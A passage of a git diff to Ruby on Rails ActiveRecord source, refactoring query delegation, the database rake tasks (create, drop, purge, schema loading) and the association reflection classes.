   # = Active Record Query Cache
   class QueryCache
@@ -29,9 +28,10 @@ module ActiveRecord
     end
 
     def call(env)
-      enabled       = ActiveRecord::Base.connection.query_cache_enabled
+      connection    = ActiveRecord::Base.connection
+      enabled       = connection.query_cache_enabled
       connection_id = ActiveRecord::Base.connection_id
-      ActiveRecord::Base.connection.enable_query_cache!
+      connection.enable_query_cache!
 
       response = @app.call(env)
       response[2] = Rack::BodyProxy.new(response[2]) do
diff --git a/activerecord/lib/active_record/querying.rb b/activerecord/lib/active_record/querying.rb
index 6bee4f38e7..4e597590e9 100644
--- a/activerecord/lib/active_record/querying.rb
+++ b/activerecord/lib/active_record/querying.rb
@@ -1,13 +1,14 @@
 module ActiveRecord
   module Querying
     delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, to: :all
+    delegate :second, :second!, :third, :third!, :fourth, :fourth!, :fifth, :fifth!, :forty_two, :forty_two!, to: :all
     delegate :first_or_create, :first_or_create!, :first_or_initialize, to: :all
     delegate :find_or_create_by, :find_or_create_by!, :find_or_initialize_by, to: :all
     delegate :find_by, :find_by!, to: :all
     delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, to: :all
     delegate :find_each, :find_in_batches, to: :all
-    delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins,
-             :where, :preload, :eager_load, :includes, :from, :lock, :readonly,
+    delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins, :or,
+             :where, :rewhere, :preload, :eager_load, :includes, :from, :lock, :readonly,
              :having, :create_with, :uniq, :distinct, :references, :none, :unscope, to: :all
     delegate :count, :average, :minimum, :maximum, :sum, :calculate, to: :all
     delegate :pluck, :ids, to: :all
@@ -36,26 +37,30 @@ module ActiveRecord
     #   Post.find_by_sql ["SELECT body FROM comments WHERE author = :user_id OR approved_by = :user_id", { :user_id => user_id }]
     def find_by_sql(sql, binds = [])
       result_set = connection.select_all(sanitize_sql(sql), "#{name} Load", binds)
-      column_types = {}
+      column_types = result_set.column_types.dup
+      columns_hash.each_key { |k| column_types.delete k }
+      message_bus = ActiveSupport::Notifications.instrumenter
 
-      if result_set.respond_to? :column_types
-        column_types = result_set.column_types
-      else
-        ActiveSupport::Deprecation.warn "the object returned from `select_all` must respond to `column_types`"
-      end
+      payload = {
+        record_count: result_set.length,
+        class_name: name
+      }
 
-      result_set.map { |record| instantiate(record, column_types) }
+      message_bus.instrument('instantiation.active_record', payload) do
+        result_set.map { |record| instantiate(record, column_types) }
+      end
     end
 
     # Returns the result of an SQL statement that should only include a COUNT(*) in the SELECT part.
     # The use of this method should be restricted to complicated SQL queries that can't be executed
     # using the ActiveRecord::Calculations class methods. Look into those before using this.
     #
-    # ==== Parameters
+    #   Product.count_by_sql "SELECT COUNT(*) FROM sales s, customers c WHERE s.customer_id = c.id"
+    #   # => 12
     #
-    # * +sql+ - An SQL statement which should return a count query from the database, see the example below.
+    # ==== Parameters
     #
-    #   Product.count_by_sql "SELECT COUNT(*) FROM sales s, customers c WHERE s.customer_id = c.id"
+    # * +sql+ - An SQL statement which should return a count query from the database, see the example above.
     def count_by_sql(sql)
       sql = sanitize_conditions(sql)
       connection.select_value(sql, "#{name} Count").to_i
diff --git a/activerecord/lib/active_record/railtie.rb b/activerecord/lib/active_record/railtie.rb
index 269f9f975b..f1bdbc845c 100644
--- a/activerecord/lib/active_record/railtie.rb
+++ b/activerecord/lib/active_record/railtie.rb
@@ -31,21 +31,14 @@ module ActiveRecord
 
 
     config.active_record.use_schema_cache_dump = true
+    config.active_record.maintain_test_schema = true
 
     config.eager_load_namespaces << ActiveRecord
 
     rake_tasks do
-      require "active_record/base"
-
-      ActiveRecord::Tasks::DatabaseTasks.seed_loader = Rails.application
-      ActiveRecord::Tasks::DatabaseTasks.env = Rails.env
-
       namespace :db do
         task :load_config do
-          ActiveRecord::Tasks::DatabaseTasks.db_dir = Rails.application.config.paths["db"].first
           ActiveRecord::Tasks::DatabaseTasks.database_configuration = Rails.application.config.database_configuration
-          ActiveRecord::Tasks::DatabaseTasks.migrations_paths = Rails.application.paths['db/migrate'].to_a
-          ActiveRecord::Tasks::DatabaseTasks.fixtures_path = File.join Rails.root, 'test', 'fixtures'
 
           if defined?(ENGINE_PATH) && engine = Rails::Engine.find(ENGINE_PATH)
             if engine.paths['db/migrate'].existent
@@ -121,8 +114,22 @@ module ActiveRecord
     # and then establishes the connection.
     initializer "active_record.initialize_database" do |app|
       ActiveSupport.on_load(:active_record) do
-        self.configurations = app.config.database_configuration || {}
-        establish_connection
+        self.configurations = Rails.application.config.database_configuration
+
+        begin
+          establish_connection
+        rescue ActiveRecord::NoDatabaseError
+          warn <<-end_warning
+Oops - You have a database configured, but it doesn't exist yet!
+
+Here's how to get started:
+
+  1. Configure your database in config/database.yml.
+  2. Run `bin/rake db:create` to create the database.
+  3. Run `bin/rake db:setup` to load your database schema.
+end_warning
+          raise
+        end
       end
     end
 
diff --git a/activerecord/lib/active_record/railties/console_sandbox.rb b/activerecord/lib/active_record/railties/console_sandbox.rb
index 1a04950898..604a220303 100644
--- a/activerecord/lib/active_record/railties/console_sandbox.rb
+++ b/activerecord/lib/active_record/railties/console_sandbox.rb
@@ -1,7 +1,5 @@
 ActiveRecord::Base.connection.begin_transaction(joinable: false)
 
 at_exit do
-  if ActiveRecord::Base.connection.transaction_open?
-    ActiveRecord::Base.connection.rollback_transaction
-  end
+  ActiveRecord::Base.connection.rollback_transaction
 end
diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake
index daccab762f..2591e7492d 100644
--- a/activerecord/lib/active_record/railties/databases.rake
+++ b/activerecord/lib/active_record/railties/databases.rake
@@ -2,7 +2,7 @@ require 'active_record'
 
 db_namespace = namespace :db do
   task :load_config do
-    ActiveRecord::Base.configurations = ActiveRecord::Tasks::DatabaseTasks.database_configuration || {}
+    ActiveRecord::Base.configurations       = ActiveRecord::Tasks::DatabaseTasks.database_configuration || {}
     ActiveRecord::Migrator.migrations_paths = ActiveRecord::Tasks::DatabaseTasks.migrations_paths
   end
 
@@ -12,13 +12,9 @@ db_namespace = namespace :db do
     end
   end
 
-  desc 'Create the database from DATABASE_URL or config/database.yml for the current Rails.env (use db:create:all to create all databases in the config)'
+  desc 'Creates the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:create:all to create all databases in the config). Without RAILS_ENV it defaults to creating the development and test databases.'
   task :create => [:load_config] do
-    if ENV['DATABASE_URL']
-      ActiveRecord::Tasks::DatabaseTasks.create_database_url
-    else
-      ActiveRecord::Tasks::DatabaseTasks.create_current
-    end
+    ActiveRecord::Tasks::DatabaseTasks.create_current
   end
 
   namespace :drop do
@@ -27,22 +23,26 @@ db_namespace = namespace :db do
     end
   end
 
-  desc 'Drops the database using DATABASE_URL or the current Rails.env (use db:drop:all to drop all databases)'
+  desc 'Drops the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:drop:all to drop all databases in the config). Without RAILS_ENV it defaults to dropping the development and test databases.'
   task :drop => [:load_config] do
-    if ENV['DATABASE_URL']
-      ActiveRecord::Tasks::DatabaseTasks.drop_database_url
-    else
-      ActiveRecord::Tasks::DatabaseTasks.drop_current
+    ActiveRecord::Tasks::DatabaseTasks.drop_current
+  end
+
+  namespace :purge do
+    task :all => :load_config do
+      ActiveRecord::Tasks::DatabaseTasks.purge_all
     end
   end
 
+  # desc "Empty the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:drop:all to drop all databases in the config). Without RAILS_ENV it defaults to purging the development and test databases."
+  task :purge => [:load_config] do
+    ActiveRecord::Tasks::DatabaseTasks.purge_current
+  end
+
   desc "Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)."
   task :migrate => [:environment, :load_config] do
-    ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
-    ActiveRecord::Migrator.migrate(ActiveRecord::Migrator.migrations_paths, ENV["VERSION"] ? ENV["VERSION"].to_i : nil) do |migration|
-      ENV["SCOPE"].blank? || (ENV["SCOPE"] == migration.scope)
-    end
-    db_namespace['_dump'].invoke
+    ActiveRecord::Tasks::DatabaseTasks.migrate
+    db_namespace['_dump'].invoke if ActiveRecord::Base.dump_schema_after_migration
   end
 
   task :_dump do
@@ -83,29 +83,28 @@ db_namespace = namespace :db do
     # desc 'Runs the "down" for a given migration VERSION.'
     task :down => [:environment, :load_config] do
       version = ENV['VERSION'] ? ENV['VERSION'].to_i : nil
-      raise 'VERSION is required' unless version
+      raise 'VERSION is required - To go down one migration, run db:rollback' unless version
       ActiveRecord::Migrator.run(:down, ActiveRecord::Migrator.migrations_paths, version)
       db_namespace['_dump'].invoke
     end
 
     desc 'Display status of migrations'
     task :status => [:environment, :load_config] do
-      unless ActiveRecord::Base.connection.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
-        puts 'Schema migrations table does not exist yet.'
-        next  # means "return" for rake task
+      unless ActiveRecord::SchemaMigration.table_exists?
+        abort 'Schema migrations table does not exist yet.'
       end
-      db_list = ActiveRecord::Base.connection.select_values("SELECT version FROM #{ActiveRecord::Migrator.schema_migrations_table_name}")
-      db_list.map! { |version| "%.3d" % version }
-      file_list = []
-      ActiveRecord::Migrator.migrations_paths.each do |path|
-        Dir.foreach(path) do |file|
-          # match "20091231235959_some_name.rb" and "001_some_name.rb" pattern
-          if match_data = /^(\d{3,})_(.+)\.rb$/.match(file)
-            status = db_list.delete(match_data[1]) ? 'up' : 'down'
-            file_list << [status, match_data[1], match_data[2].humanize]
+      db_list = ActiveRecord::SchemaMigration.normalized_versions
+
+      file_list =
+          ActiveRecord::Migrator.migrations_paths.flat_map do |path|
+            # match "20091231235959_some_name.rb" and "001_some_name.rb" pattern
+            Dir.foreach(path).grep(/^(\d{3,})_(.+)\.rb$/) do
+              version = ActiveRecord::SchemaMigration.normalize_migration_number($1)
+              status = db_list.delete(version) ? 'up' : 'down'
+              [status, version, $2.humanize]
+            end
           end
-        end
-      end
+
       db_list.map! do |version|
         ['up', version, '********** NO FILE **********']
       end
@@ -113,8 +112,8 @@ db_namespace = namespace :db do
       puts "\ndatabase: #{ActiveRecord::Base.connection_config[:database]}\n\n"
       puts "#{'Status'.center(8)}  #{'Migration ID'.ljust(14)}  Migration Name"
       puts "-" * 50
-      (db_list + file_list).sort_by {|migration| migration[1]}.each do |migration|
-        puts "#{migration[0].center(8)}  #{migration[1].ljust(14)}  #{migration[2]}"
+      (db_list + file_list).sort_by { |_, version, _| version }.each do |status, version, name|
+        puts "#{status.center(8)}  #{version.ljust(14)}  #{name}"
       end
       puts
     end
@@ -186,20 +185,22 @@ db_namespace = namespace :db do
     task :load => [:environment, :load_config] do
       require 'active_record/fixtures'
 
-      base_dir = if ENV['FIXTURES_PATH']
-        STDERR.puts "Using FIXTURES_PATH env variable is deprecated, please use " +
-                    "ActiveRecord::Tasks::DatabaseTasks.fixtures_path = '/path/to/fixtures' " +
-                    "instead."
-        File.join [Rails.root, ENV['FIXTURES_PATH'] || %w{test fixtures}].flatten
-      else
-        ActiveRecord::Tasks::DatabaseTasks.fixtures_path
-      end
+      base_dir = ActiveRecord::Tasks::DatabaseTasks.fixtures_path
 
-      fixtures_dir = File.join [base_dir, ENV['FIXTURES_DIR']].compact
+      fixtures_dir = if ENV['FIXTURES_DIR']
+                       File.join base_dir, ENV['FIXTURES_DIR']
+                     else
+                       base_dir
+                     end
 
-      (ENV['FIXTURES'] ? ENV['FIXTURES'].split(/,/) : Dir["#{fixtures_dir}/**/*.yml"].map {|f| f[(fixtures_dir.size + 1)..-5] }).each do |fixture_file|
-        ActiveRecord::FixtureSet.create_fixtures(fixtures_dir, fixture_file)
-      end
+      fixture_files = if ENV['FIXTURES']
+                        ENV['FIXTURES'].split(',')
+                      else
+                        # The use of String#[] here is to support namespaced fixtures
+                        Dir["#{fixtures_dir}/**/*.yml"].map {|f| f[(fixtures_dir.size + 1)..-5] }
+                      end
+
+      ActiveRecord::FixtureSet.create_fixtures(fixtures_dir, fixture_files)
     end
 
     # desc "Search for a fixture given a LABEL or ID. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
@@ -211,19 +212,11 @@ db_namespace = namespace :db do
 
       puts %Q(The fixture ID for "#{label}" is #{ActiveRecord::FixtureSet.identify(label)}.) if label
 
-      base_dir = if ENV['FIXTURES_PATH']
-        STDERR.puts "Using FIXTURES_PATH env variable is deprecated, please use " +
-                    "ActiveRecord::Tasks::DatabaseTasks.fixtures_path = '/path/to/fixtures' " +
-                    "instead."
-        File.join [Rails.root, ENV['FIXTURES_PATH'] || %w{test fixtures}].flatten
-      else
-        ActiveRecord::Tasks::DatabaseTasks.fixtures_path
-      end
-
+      base_dir = ActiveRecord::Tasks::DatabaseTasks.fixtures_path
 
       Dir["#{base_dir}/**/*.yml"].each do |file|
         if data = YAML::load(ERB.new(IO.read(file)).result)
-          data.keys.each do |key|
+          data.each_key do |key|
             key_id = ActiveRecord::FixtureSet.identify(key)
 
             if key == label || key_id == id.to_i
@@ -247,10 +240,8 @@ db_namespace = namespace :db do
     end
 
     desc 'Load a schema.rb file into the database'
-    task :load => [:environment, :load_config] do
-      file = ENV['SCHEMA'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, 'schema.rb')
-      ActiveRecord::Tasks::DatabaseTasks.check_schema_file(file)
-      load(file)
+    task :load => [:load_config] do
+      ActiveRecord::Tasks::DatabaseTasks.load_schema_current(:ruby, ENV['SCHEMA'])
     end
 
     task :load_if_ruby => ['db:create', :environment] do
@@ -271,33 +262,32 @@ db_namespace = namespace :db do
       desc 'Clear a db/schema_cache.dump file.'
       task :clear => [:environment, :load_config] do
         filename = File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema_cache.dump")
-        FileUtils.rm(filename) if File.exists?(filename)
+        FileUtils.rm(filename) if File.exist?(filename)
       end
     end
 
   end
 
   namespace :structure do
-    desc 'Dump the database structure to db/structure.sql. Specify another file with DB_STRUCTURE=db/my_structure.sql'
+    desc 'Dump the database structure to db/structure.sql. Specify another file with SCHEMA=db/my_structure.sql'
     task :dump => [:environment, :load_config] do
-      filename = ENV['DB_STRUCTURE'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "structure.sql")
+      filename = ENV['SCHEMA'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "structure.sql")
       current_config = ActiveRecord::Tasks::DatabaseTasks.current_config
       ActiveRecord::Tasks::DatabaseTasks.structure_dump(current_config, filename)
 
-      if ActiveRecord::Base.connection.supports_migrations?
+      if ActiveRecord::Base.connection.supports_migrations? &&
+          ActiveRecord::SchemaMigration.table_exists?
         File.open(filename, "a") do |f|
           f.puts ActiveRecord::Base.connection.dump_schema_information
+          f.print "\n"
         end
       end
       db_namespace['structure:dump'].reenable
     end
 
-    # desc "Recreate the databases from the structure.sql file"
-    task :load => [:environment, :load_config] do
-      filename = ENV['DB_STRUCTURE'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "structure.sql")
-      ActiveRecord::Tasks::DatabaseTasks.check_schema_file(filename)
-      current_config = ActiveRecord::Tasks::DatabaseTasks.current_config
-      ActiveRecord::Tasks::DatabaseTasks.structure_load(current_config, filename)
+    desc "Recreate the databases from the structure.sql file"
+    task :load => [:load_config] do
+      ActiveRecord::Tasks::DatabaseTasks.load_schema_current(:sql, ENV['SCHEMA'])
     end
 
     task :load_if_sql => ['db:create', :environment] do
@@ -307,8 +297,15 @@ db_namespace = namespace :db do
 
   namespace :test do
 
+    task :deprecated do
+      Rake.application.top_level_tasks.grep(/^db:test:/).each do |task|
+        $stderr.puts "WARNING: #{task} is deprecated. The Rails test helper now maintains " \
+                     "your test schema automatically, see the release notes for details."
+      end
+    end
+
     # desc "Recreate the test database from the current schema"
-    task :load => 'db:test:purge' do
+    task :load => %w(db:test:purge) do
       case ActiveRecord::Base.schema_format
         when :ruby
           db_namespace["test:load_schema"].invoke
@@ -318,12 +315,11 @@ db_namespace = namespace :db do
     end
 
     # desc "Recreate the test database from an existent schema.rb file"
-    task :load_schema => 'db:test:purge' do
+    task :load_schema => %w(db:test:purge) do
       begin
         should_reconnect = ActiveRecord::Base.connection_pool.active_connection?
-        ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['test'])
         ActiveRecord::Schema.verbose = false
-        db_namespace["schema:load"].invoke
+        ActiveRecord::Tasks::DatabaseTasks.load_schema ActiveRecord::Base.configurations['test'], :ruby, ENV['SCHEMA']
       ensure
         if should_reconnect
           ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations[ActiveRecord::Tasks::DatabaseTasks.env])
@@ -332,17 +328,12 @@ db_namespace = namespace :db do
     end
 
     # desc "Recreate the test database from an existent structure.sql file"
-    task :load_structure => 'db:test:purge' do
-      begin
-        ActiveRecord::Tasks::DatabaseTasks.current_config(:config => ActiveRecord::Base.configurations['test'])
-        db_namespace["structure:load"].invoke
-      ensure
-        ActiveRecord::Tasks::DatabaseTasks.current_config(:config => nil)
-      end
+    task :load_structure => %w(db:test:purge) do
+      ActiveRecord::Tasks::DatabaseTasks.load_schema ActiveRecord::Base.configurations['test'], :sql, ENV['SCHEMA']
     end
 
     # desc "Recreate the test database from a fresh schema"
-    task :clone do
+    task :clone => %w(db:test:deprecated environment) do
       case ActiveRecord::Base.schema_format
         when :ruby
           db_namespace["test:clone_schema"].invoke
@@ -352,18 +343,18 @@ db_namespace = namespace :db do
     end
 
     # desc "Recreate the test database from a fresh schema.rb file"
-    task :clone_schema => ["db:schema:dump", "db:test:load_schema"]
+    task :clone_schema => %w(db:test:deprecated db:schema:dump db:test:load_schema)
 
     # desc "Recreate the test database from a fresh structure.sql file"
-    task :clone_structure => [ "db:structure:dump", "db:test:load_structure" ]
+    task :clone_structure => %w(db:test:deprecated db:structure:dump db:test:load_structure)
 
     # desc "Empty the test database"
-    task :purge => [:environment, :load_config] do
+    task :purge => %w(environment load_config) do
       ActiveRecord::Tasks::DatabaseTasks.purge ActiveRecord::Base.configurations['test']
     end
 
     # desc 'Check for pending migrations and load the test schema'
-    task :prepare => :load_config do
+    task :prepare => %w(environment load_config) do
       unless ActiveRecord::Base.configurations.blank?
         db_namespace['test:load'].invoke
       end
@@ -375,9 +366,9 @@ namespace :railties do
   namespace :install do
     # desc "Copies missing migrations from Railties (e.g. engines). You can specify Railties to use with FROM=railtie1,railtie2"
     task :migrations => :'db:load_config' do
-      to_load = ENV['FROM'].blank? ? :all : ENV['FROM'].split(",").map {|n| n.strip }
+      to_load = ENV['FROM'].blank? ? :all : ENV['FROM'].split(",").map(&:strip)
       railties = {}
-      Rails.application.railties.each do |railtie|
+      Rails.application.migration_railties.each do |railtie|
         next unless to_load == :all || to_load.include?(railtie.railtie_name)
 
         if railtie.respond_to?(:paths) && (path = railtie.paths['db/migrate'].first)
@@ -398,6 +389,3 @@ namespace :railties do
     end
   end
 end
-
-task 'test:prepare' => ['db:test:prepare', 'db:test:load', 'db:abort_if_pending_migrations']
-
diff --git a/activerecord/lib/active_record/readonly_attributes.rb b/activerecord/lib/active_record/readonly_attributes.rb
index b3ddfd63d4..ce78f1756d 100644
--- a/activerecord/lib/active_record/readonly_attributes.rb
+++ b/activerecord/lib/active_record/readonly_attributes.rb
@@ -1,4 +1,3 @@
-
 module ActiveRecord
   module ReadonlyAttributes
     extend ActiveSupport::Concern
@@ -12,7 +11,7 @@ module ActiveRecord
       # Attributes listed as readonly will be used to create a new record but update operations will
       # ignore these fields.
       def attr_readonly(*attributes)
-        self._attr_readonly = Set.new(attributes.map { |a| a.to_s }) + (self._attr_readonly || [])
+        self._attr_readonly = Set.new(attributes.map(&:to_s)) + (self._attr_readonly || [])
       end
 
       # Returns an array of all the attributes that have been specified as readonly.
diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb
index 5245fc130a..dab5a502a5 100644
--- a/activerecord/lib/active_record/reflection.rb
+++ b/activerecord/lib/active_record/reflection.rb
@@ -1,39 +1,47 @@
+require 'thread'
+require 'active_support/core_ext/string/filters'
+
 module ActiveRecord
   # = Active Record Reflection
   module Reflection # :nodoc:
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :reflections
+      class_attribute :_reflections
       class_attribute :aggregate_reflections
-      self.reflections = {}
+      self._reflections = {}
       self.aggregate_reflections = {}
     end
 
     def self.create(macro, name, scope, options, ar)
-      case macro
-      when :has_and_belongs_to_many
-        klass = AssociationReflection
-      when :has_many, :belongs_to, :has_one
-        klass = options[:through] ? ThroughReflection : AssociationReflection
-      when :composed_of
-        klass = AggregateReflection
-      end
-
-      klass.new(macro, name, scope, options, ar)
+      klass = case macro
+              when :composed_of
+                AggregateReflection
+              when :has_many
+                HasManyReflection
+              when :has_one
+                HasOneReflection
+              when :belongs_to
+                BelongsToReflection
+              else
+                raise "Unsupported Macro: #{macro}"
+              end
+
+      reflection = klass.new(name, scope, options, ar)
+      options[:through] ? ThroughReflection.new(reflection) : reflection
     end
 
     def self.add_reflection(ar, name, reflection)
-      if reflection.class == AggregateReflection
-        ar.aggregate_reflections = ar.aggregate_reflections.merge(name => reflection)
-      else
-        ar.reflections = ar.reflections.merge(name => reflection)
-      end
+      ar._reflections = ar._reflections.merge(name.to_s => reflection)
     end
 
-    # \Reflection enables to interrogate Active Record classes and objects
-    # about their associations and aggregations. This information can,
-    # for example, be used in a form builder that takes an Active Record object
+    def self.add_aggregate_reflection(ar, name, reflection)
+      ar.aggregate_reflections = ar.aggregate_reflections.merge(name.to_s => reflection)
+    end
+
+    # \Reflection enables the ability to examine the associations and aggregations of
+    # Active Record classes and objects. This information, for example,
+    # can be used in a form builder that takes an Active Record object
     # and creates input fields for all of the attributes depending on their type
     # and displays the associations to other objects.
     #
@@ -50,7 +58,25 @@ module ActiveRecord
       #   Account.reflect_on_aggregation(:balance) # => the balance AggregateReflection
       #
       def reflect_on_aggregation(aggregation)
-        aggregate_reflections[aggregation]
+        aggregate_reflections[aggregation.to_s]
+      end
+
+      # Returns a Hash of name of the reflection as the key and a AssociationReflection as the value.
+      #
+      #   Account.reflections # => {"balance" => AggregateReflection}
+      #
+      # @api public
+      def reflections
+        ref = {}
+        _reflections.each do |name, reflection|
+          parent_name, parent_reflection = reflection.parent_reflection
+          if parent_name
+            ref[parent_name] = parent_reflection
+          else
+            ref[name] = reflection
+          end
+        end
+        ref
       end
 
       # Returns an array of AssociationReflection objects for all the
@@ -63,6 +89,7 @@ module ActiveRecord
       #   Account.reflect_on_all_associations             # returns an array of all associations
       #   Account.reflect_on_all_associations(:has_many)  # returns an array of all has_many associations
       #
+      #   @api public
       def reflect_on_all_associations(macro = nil)
         association_reflections = reflections.values
         macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections
@@ -73,36 +100,85 @@ module ActiveRecord
       #   Account.reflect_on_association(:owner)             # returns the owner AssociationReflection
       #   Invoice.reflect_on_association(:line_items).macro  # returns :has_many
       #
+      #   @api public
       def reflect_on_association(association)
-        reflections[association]
+        reflections[association.to_s]
+      end
+
+      #   @api private
+      def _reflect_on_association(association) #:nodoc:
+        _reflections[association.to_s]
       end
 
       # Returns an array of AssociationReflection objects for all associations which have <tt>:autosave</tt> enabled.
+      #
+      #   @api public
       def reflect_on_all_autosave_associations
         reflections.values.select { |reflection| reflection.options[:autosave] }
       end
     end
 
+    # Holds all the methods that are shared between MacroReflection, AssociationReflection
+    # and ThroughReflection
+    class AbstractReflection # :nodoc:
+      def table_name
+        klass.table_name
+      end
+
+      # Returns a new, unsaved instance of the associated class. +attributes+ will
+      # be passed to the class's constructor.
+      def build_association(attributes, &block)
+        klass.new(attributes, &block)
+      end
+
+      def quoted_table_name
+        klass.quoted_table_name
+      end
+
+      def primary_key_type
+        klass.type_for_attribute(klass.primary_key)
+      end
+
+      # Returns the class name for the macro.
+      #
+      # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>'Money'</tt>
+      # <tt>has_many :clients</tt> returns <tt>'Client'</tt>
+      def class_name
+        @class_name ||= (options[:class_name] || derive_class_name).to_s
+      end
+
+      JoinKeys = Struct.new(:key, :foreign_key) # :nodoc:
+
+      def join_keys(association_klass)
+        JoinKeys.new(foreign_key, active_record_primary_key)
+      end
+
+      def constraints
+        scope_chain.flatten
+      end
+
+      def alias_candidate(name)
+        "#{plural_name}_#{name}"
+      end
+    end
+
     # Base class for AggregateReflection and AssociationReflection. Objects of
     # AggregateReflection and AssociationReflection are returned by the Reflection::ClassMethods.
     #
     #   MacroReflection
-    #     AggregateReflection
     #     AssociationReflection
-    #       ThroughReflection
-    class MacroReflection
+    #       AggregateReflection
+    #       HasManyReflection
+    #       HasOneReflection
+    #       BelongsToReflection
+    #         ThroughReflection
+    class MacroReflection < AbstractReflection
       # Returns the name of the macro.
       #
       # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>:balance</tt>
       # <tt>has_many :clients</tt> returns <tt>:clients</tt>
       attr_reader :name
 
-      # Returns the macro type.
-      #
-      # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>:composed_of</tt>
-      # <tt>has_many :clients</tt> returns <tt>:has_many</tt>
-      attr_reader :macro
-
       attr_reader :scope
 
       # Returns the hash of options used for the macro.
@@ -115,12 +191,12 @@ module ActiveRecord
 
       attr_reader :plural_name # :nodoc:
 
-      def initialize(macro, name, scope, options, active_record)
-        @macro         = macro
+      def initialize(name, scope, options, active_record)
         @name          = name
         @scope         = scope
         @options       = options
         @active_record = active_record
+        @klass         = options[:class]
         @plural_name   = active_record.pluralize_table_names ?
                             name.to_s.pluralize : name.to_s
       end
@@ -128,6 +204,10 @@ module ActiveRecord
       def autosave=(autosave)
         @automatic_inverse_of = false
         @options[:autosave] = autosave
+        _, parent_reflection = self.parent_reflection
+        if parent_reflection
+          parent_reflection.autosave = autosave
+        end
       end
 
       # Returns the class for the macro.
@@ -135,15 +215,11 @@ module ActiveRecord
       # <tt>composed_of :balance, class_name: 'Money'</tt> returns the Money class
       # <tt>has_many :clients</tt> returns the Client class
       def klass
-        @klass ||= class_name.constantize
+        @klass ||= compute_class(class_name)
       end
 
-      # Returns the class name for the macro.
-      #
-      # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>'Money'</tt>
-      # <tt>has_many :clients</tt> returns <tt>'Client'</tt>
-      def class_name
-        @class_name ||= (options[:class_name] || derive_class_name).to_s
+      def compute_class(name)
+        name.constantize
       end
 
       # Returns +true+ if +self+ and +other_aggregation+ have the same +name+ attribute, +active_record+ attribute,
@@ -152,7 +228,7 @@ module ActiveRecord
         super ||
           other_aggregation.kind_of?(self.class) &&
           name == other_aggregation.name &&
-          other_aggregation.options &&
+          !other_aggregation.options.nil? &&
           active_record == other_aggregation.active_record
       end
 
@@ -188,31 +264,38 @@ module ActiveRecord
       # a new association object. Use +build_association+ or +create_association+
       # instead. This allows plugins to hook into association object creation.
       def klass
-        @klass ||= active_record.send(:compute_type, class_name)
+        @klass ||= compute_class(class_name)
+      end
+
+      def compute_class(name)
+        active_record.send(:compute_type, name)
       end
 
       attr_reader :type, :foreign_type
+      attr_accessor :parent_reflection # [:name, Reflection]
 
-      def initialize(macro, name, scope, options, active_record)
+      def initialize(name, scope, options, active_record)
         super
-        @collection = [:has_many, :has_and_belongs_to_many].include?(macro)
         @automatic_inverse_of = nil
-        @type         = options[:as] && "#{options[:as]}_type"
+        @type         = options[:as] && (options[:foreign_type] || "#{options[:as]}_type")
         @foreign_type = options[:foreign_type] || "#{name}_type"
+        @constructable = calculate_constructable(macro, options)
+        @association_scope_cache = {}
+        @scope_lock = Mutex.new
       end
 
-      # Returns a new, unsaved instance of the associated class. +attributes+ will
-      # be passed to the class's constructor.
-      def build_association(attributes, &block)
-        klass.new(attributes, &block)
-      end
-
-      def table_name
-        klass.table_name
+      def association_scope_cache(conn, owner)
+        key = conn.prepared_statements
+        if polymorphic?
+          key = [key, owner._read_attribute(@foreign_type)]
+        end
+        @association_scope_cache[key] ||= @scope_lock.synchronize {
+          @association_scope_cache[key] ||= yield
+        }
       end
 
-      def quoted_table_name
-        klass.quoted_table_name
+      def constructable? # :nodoc:
+        @constructable
       end
 
       def join_table
@@ -223,10 +306,6 @@ module ActiveRecord
         @foreign_key ||= options[:foreign_key] || derive_foreign_key
       end
 
-      def primary_key_column
-        klass.columns_hash[klass.primary_key]
-      end
-
       def association_foreign_key
         @association_foreign_key ||= options[:association_foreign_key] || class_name.foreign_key
       end
@@ -250,20 +329,33 @@ module ActiveRecord
 
       def check_validity!
         check_validity_of_inverse!
-
-        if has_and_belongs_to_many? && association_foreign_key == foreign_key
-          raise HasAndBelongsToManyAssociationForeignKeyNeeded.new(self)
-        end
       end
 
       def check_validity_of_inverse!
-        unless options[:polymorphic]
+        unless polymorphic?
           if has_inverse? && inverse_of.nil?
             raise InverseOfAssociationNotFoundError.new(self)
           end
         end
       end
 
+      def check_preloadable!
+        return unless scope
+
+        if scope.arity > 0
+          raise ArgumentError, <<-MSG.squish
+            The association scope '#{name}' is instance dependent (the scope
+            block takes an argument). Preloading instance dependent scopes is
+            not supported.
+          MSG
+        end
+      end
+      alias :check_eager_loadable! :check_preloadable!
+
+      def join_id_for(owner) # :nodoc:
+        owner[active_record_primary_key]
+      end
+
       def through_reflection
         nil
       end
@@ -288,8 +380,6 @@ module ActiveRecord
         scope ? [[scope]] : [[]]
       end
 
-      alias :source_macro :macro
-
       def has_inverse?
         inverse_name
       end
@@ -297,12 +387,12 @@ module ActiveRecord
       def inverse_of
         return unless inverse_name
 
-        @inverse_of ||= klass.reflect_on_association inverse_name
+        @inverse_of ||= klass._reflect_on_association inverse_name
       end
 
       def polymorphic_inverse_of(associated_class)
         if has_inverse?
